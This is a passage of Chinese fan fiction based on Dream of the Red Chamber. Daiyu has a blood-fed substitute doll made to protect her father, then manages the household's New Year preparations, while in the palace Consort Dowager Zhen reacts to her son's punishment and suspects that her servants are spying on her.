其实还有一种更好的替命灵藕，但制作那种人偶需要特殊的金灵藕，这里没有。
“邪性在何处？”
“这种人偶虚跟替命之人本身气息相连，以精血喂养，越有灵性，效果越好。但是越有灵性的人偶越容易反噬主人，老爷凡人之躯，不一定能压制住。但若是抹掉人偶的灵性，效果跟护身符又差不多。”
白鹤说到这里，道：“不如多给老爷几个护身符实用。”
“不！”黛玉忽然有些心惊肉跳，“就要这种人偶。”
白鹤一顿，点头道：“可。”
修行之人偶尔会心血来潮，姑娘明知弊端还一口咬定，或许替命人偶真的会用上，而且需要最“灵”的那种。
既然要制作人偶，两人便没急着回京城。
白鹤带着黛玉到扬州附近的深山中找了一颗接近五百年的老槐树，取了一截树心，简单雕刻了一下，空着五官，做成了一个巴掌大的人偶，取了黛玉一滴血为引。
她同林如海是父女，气息相近，加入一滴血不影响人偶跟林如海气息相连。
二人再次返回林府，将人偶送给林如海，让他每日以血蕴养。
为防人偶未替命先弑主，白鹤又给了林如海几枚桃木护身符。
林如海有些哭笑不得，在女儿央求的眼神中还是将这些又邪又正的东西收下，答应会养着人偶。
他点头的那一刻，黛玉心慌之状才消失。
-*
回到京城后，因着来回奔波，加上心中存着事，黛玉第二日便病倒了。
听说她身体有恙，贾母又派人来了林府一趟，请她回贾家。何嬷嬷以天气寒冷，黛玉病着不宜挪动为由，拒绝了老太太的好意。
之后一段时间，不知是不是因为林如海的信送到了还是贾家也有事抽不出手，再未派人过来。
到了十一月中旬，京中越发冷了，昨日下了一场小雨，早上起来，风一刮，清凌凌冻人的很。
林管家派人来问黛玉过年的事宜。虽然离过年还有两个月，但该准备的也要准备起来了，大小一摊事忙起来，时间也嫌不够。特别是今年黛玉在京中，林家也该举行祭祖之事。
黛玉对这些半懂不懂，好在何嬷嬷和林管家都是熟手，经验丰富，有两人帮衬着，一切安排还算井井有条。
只是屋子里进进出出人多了，难免总是带进来一点冷风，同屋里暖意一激，黛玉便有些咳嗽起来。
何嬷嬷一听，神色紧张，忙忙兑了秋梨膏、蜜水，又挖了半杯子玉髓放到她手边。黛玉见了，笑道：“嬷嬷准备这许多，我都不知道该先吃哪杯好。”
何嬷嬷道：“姑娘爱吃哪杯吃哪杯，别的先放着。”又问她还觉不觉得有别的不舒服。
黛玉先吃玉髓，含一口，玉髓如一汪温泉般在口中化开。可惜玉髓没什么味道，谈不上好吃。咽下口中的玉髓，黛玉摇头道：“不过是咳嗽两声，嬷嬷也太小题大作了。”
何嬷嬷颇为不赞同，“先前姑娘也说是小毛病，还不是病了小半个月，人都瘦了一圈，到今天都没长回来。”
一说到这个，何嬷嬷便有一堆话要说。
黛玉反驳不得，只好低头，一边听着何嬷嬷的念叨，一边默默把三个杯子都喝完了。
花了一上午终于把手头的事理完，该吩咐的吩咐下去，黛玉撑着额头，有些头晕眼花，深感管家不易。
“也不知道二嫂子日日这样忙，怎么还那般精神奕奕。”
何嬷嬷道：“二奶奶乐在其中，自然与姑娘不同。”
黛玉撑着下巴，她大概永远体会不到其中的快乐。
午间小歇了一会儿，林管家又来问祭祀事宜，黛玉不得不打起精神。这般忙忙碌碌了小半个月，眨眼间就到了十二月，黛玉终于清闲下来，别的都妥当了，剩下的就是往各家送礼。
这下换成林管家一天到晚在外奔波。
这日，林管家从外边回来，给黛玉带来一个消息，倒是忠信王被当今斥责了一顿，勒令闭门思过两个月，罚俸半年。
“是为了什么？”黛玉问。
林管家道：“说是御前失仪，言行无状。”
这个罪名可大可小，单看陛下的处罚，是有些重了的。若只是陛下找的借口，实际为的是京郊之事，又有点轻拿轻放的意思。
黛玉想了一回，记起林如海的叮嘱，并不打算深究。
-*
忠信王被禁足之事说大不大，没多久，各处基本都收到了消息。
宫中，甄太妃靠在榻上闭目养神。忽然有宫女慌慌张张跑进来，甄太妃蹙眉，睁开眼睛。
她身边的掌事姑姑月柳立刻呵斥道：“放肆！”
小宫女顿时跪伏在地，颤声道：“奴婢有要事禀报，不及通传，还望娘娘恕罪。”
甄太妃摆摆手，柔声道：“罢了，有什么事？说吧。”
小宫女将忠信王爷被陛下斥责之事一一道来。
她说完，便屏息凝神等待甄太妃开口，不想却久久没听见上首有人说话。不管是惊慌，还是急怒，或是立刻起身去求见上皇，都在小宫女的设想之内，她都已经想好了对应的说辞，唯独没有料到甄太妃竟会平静到毫无反应。
甄太妃不是一向十分疼爱王爷的吗？
小宫女心中疑惑，却不敢抬头去觑她的脸色。
良久，她听到甄太妃道：“你抬起头来。”
小宫女抬头，不着痕迹扫了甄太妃一眼，又迅速垂下眼皮。
甄太妃盯着她的脸看了几眼，道：“你是本宫宫里的人？本宫怎么没见过你？”
小宫女道：“回娘娘，奴婢是在殿外扫洒的。”
“嗯。”甄太妃淡淡哼了一声，道：“你退下吧。”
“娘娘？”
甄太妃保养得宜的脸上闪过一丝不耐，语调依然柔和：“怎么？还想本宫赏你不成？”
月柳上前一步，“不经通报擅闯内殿，乃是大罪。娘娘心善，又念在你事出有因，是为王爷的份上，方才饶过你这糟。莫非你还想领罚？”
甄太妃不按常理出牌，让小宫女不知该如何反应，愣了三息，她才反应过来，叩头谢恩，退了出去。
“娘娘，要不要派人？”等人走了，月柳挥退其余宫人，小声询问。
甄太妃倚回靠背上，拨弄着手上镶着宝石珍珠的金护甲，闻言，一双美目微扬，“派人？派谁？咱们还有人可用吗？”<
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她现在半瞎半聋，手里哪有人。瞧她儿子事，她怕不是最后一个知道的？
月柳垂首，“是奴婢说错了，只是不知道方才那个宫女是谁的人。”
“还能是谁？”甄太妃嗤笑，一点都不忌讳道：“这么蠢的招，除了那位，谁能想出来。”
“娘娘！”月柳吓了一跳：“小心隔墙有耳。”
甄太妃瞥她，说出的话十分刻薄：“听到了又如何，她还能去告我一状？是上皇会见她，还是陛下会理她？我就想不明白了，她母凭子贵当了太后，到底好有什么不满意的，安安心心享受荣华富贵不好么？非得成天折腾些幺蛾子，帮着外人对付自个儿子。”
“她这么上窜下跳，也没见有人念她的好。”
月柳尴尬道：“太后娘娘也是一片慈母之心。”
甄太妃讽刺道：“所以我才说她蠢！她能有如今，全靠大儿子生得早，我若再早进宫一些，那个位置哪里轮得到她！没有大儿子，她算哪根葱。当今好歹还占着长，那个，看谁能服他？”
“虽说十指有长短，但当娘的也不能偏心到这份上。我看她就是日子太好过，当初后宫学到的那些手段都忘到脑后去了。”
月柳不敢接话。
甄太妃只是发泄心中郁气。私底下讥讽了太后一通，心情好了些，才无奈道：“太后是没脑子，咱们这儿也有个不遑多让的，都是一路货色，也别五十步笑百步了。”
月柳忙道：“王爷还小，思虑不周也是有的。”
“还小？都是当爹的人了，一点心眼也不长。现在还小，他是准备多少岁才长脑子？”
月柳：“......”
娘娘要是损起人来，是一点都不客气。
月柳小心问道：“那娘娘是准备不管王爷了？”
甄太妃沉默了许久，道：“算了，儿女都是债。你传信，明日让王妃进宫一趟。”
“是。”
月柳躬身退下，殿内只剩甄太妃一个人。一室静谧中，甄太妃脸上面无表情，全然不见方才的嬉笑怒骂。
她在思索那个通风报信的宫女到底是谁的人。她并未跟月柳说实话，自打发现从家里带来的婢女星茶背叛她之后，甄太妃再不敢全然信任身边的人。
星茶跟了她几十年，从婢女到宫女又到她殿里的掌事姑姑，跟月柳是她的左膀右臂。她从未怀疑过她，甄太妃想不明白，星茶为何要鼓动老九干这么没头脑的事。
虽然老九自己蠢到往坑里栽，但她的目的难道只是最后让老九禁足？或者挑唆自己去跟上皇闹一闹？
甄太妃不相信事情这么简单。废了埋伏这么久的钉子，不可能只为这一点不疼不痒的小事。
那个宫女或许是太后的人，但太后未必没被别人当枪使。
就她那个一根筋的脑子，混到现在，前半生靠脸，后半生靠儿子，甄太妃不指望一个一心只有宝贝小儿子的人能抽丝剥茧明辨是非。
她理了半天，奈何线索有限，根本弄不清背后一系列动作的路数。也罢，既然迷雾重重，那最好的办法就是以静制动。老九既然被禁足了，那就老实一点在王府里呆着。
“娘娘。”
“又怎么了？”甄太妃不耐。
宫人道：“贾司言求见娘娘。”
“不见！”她没空应付所谓的老亲。
宫人欲要退下。
“等等！”甄太妃把人叫住，换了个说辞：“就说我身体不适，实在不便见她。”